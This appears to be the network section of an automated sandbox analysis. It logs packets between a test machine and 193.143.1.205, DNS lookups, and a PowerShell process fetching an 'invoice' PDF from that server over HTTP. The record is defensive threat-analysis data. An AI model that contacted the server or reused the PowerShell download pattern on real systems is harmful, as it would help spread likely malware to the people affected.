Jan 10, 2025 20:46:04.728317022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.728353024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.728353024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.729589939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.745138884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.745193958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.745232105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.745273113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.745318890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.746711016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.747601032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.747644901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.747663021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.747683048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.747718096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.747728109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.747755051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.747792006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.747807026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.747828007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.747869015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.768207073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.768270016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.768307924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.768345118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.768381119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.768415928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.768456936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.768488884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.768537998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.768588066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.768588066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.782669067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.782701015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.782727003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.782742977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.782754898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.782758951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.782774925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.782778025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.782794952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.782808065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.782820940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.782836914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.782850981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.782860994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.782866955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.782886028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.782887936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.782903910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.782917976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.782918930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.782936096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.782953024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.782955885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.782987118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.801287889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.801310062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.801336050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.801351070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.801367998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.801369905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.801387072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.801398993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.801404953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.801423073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.801426888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.801440001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.801469088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.801789045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.801805019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.801820993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.801839113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.801863909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.801959038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.801974058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.801989079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802004099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802015066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802020073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802035093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802045107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802051067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802066088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802078962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802082062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802103996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802108049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802124977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802141905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802145958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802165031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802177906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802180052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802196980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802211046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802217960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802227974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802244902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802248955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802261114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802274942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802280903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802290916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802305937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802313089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802321911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802337885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802352905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802364111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802369118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802385092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802387953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802398920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802428007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802433968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802437067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802458048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802474022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802489042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802498102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802505016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802520037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802527905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802536011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802550077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802558899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802567005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802587032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802607059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802622080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802638054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802649975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802651882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802670956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802680016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802695990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802711010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802717924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802725077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802742958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802750111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802758932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802776098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802782059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802798033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802807093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.802815914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.802864075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.818119049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818173885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818221092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.818228006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818262100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818310022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.818315029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818356037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818397999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.818407059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818442106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818475008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818490028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.818507910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818542004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818573952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818581104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.818608046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818614960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.818641901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818675995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818701982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.818713903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818747997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818754911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.818777084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818813086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818819046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.818846941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818880081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818895102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.818914890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.818960905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.835867882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.835921049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.835957050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.835984945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.835988045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.836025953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.836034060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.836061001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.836098909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.836108923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.858724117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.858757973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.858774900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.858788967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.858804941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.858819962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.858839035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.858845949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.858845949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.858885050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.873287916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.873325109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.873348951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.873363972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.873378992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.873387098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.873393059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.873403072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.873409033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.873425007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.873428106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.873441935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.873457909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.873473883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.873473883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.873490095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.873493910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.873533964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.873680115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.873696089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.873712063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.873724937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.873737097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.873759985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.892056942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.892095089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.892111063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.892126083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.892141104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.892155886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.892162085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.892162085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.892173052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.892190933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.892194033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.892206907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.892225027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.892227888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.892250061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.892271042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.892275095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.892290115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.892304897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.892312050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.892322063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.892338991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:04.892340899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.892379999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.908483028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:04.931687117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:05.202922106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:05.978482008 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:05.983552933 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:05.983633995 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:05.984447956 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:05.989346981 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:06.795321941 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 20:46:06.845172882 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 20:46:07.063195944 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:46:19.044111967 CET	62949	53	192.168.2.4	1.1.1.1
Jan 10, 2025 20:46:31.337879896 CET	49747	53	192.168.2.4	1.1.1.1
Jan 10, 2025 20:46:46.890157938 CET	56039	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:46:19.044111967 CET	192.168.2.4	1.1.1.1	0x3a0	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:46:31.337879896 CET	192.168.2.4	1.1.1.1	0xbab4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:46:46.890157938 CET	192.168.2.4	1.1.1.1	0x70b4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Type	Class	DNS over HTTPS
Jan 10, 2025 20:46:19.051167011 CET	1.1.1.1	192.168.2.4	0x3a0	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:46:31.345854998 CET	1.1.1.1	192.168.2.4	0xbab4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:46:46.897996902 CET	1.1.1.1	192.168.2.4	0x70b4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net	CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7812	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:46:03.299245119 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 20:46:04.117132902 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:46:03 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 20:46:04.117162943 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:46:04.117189884 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
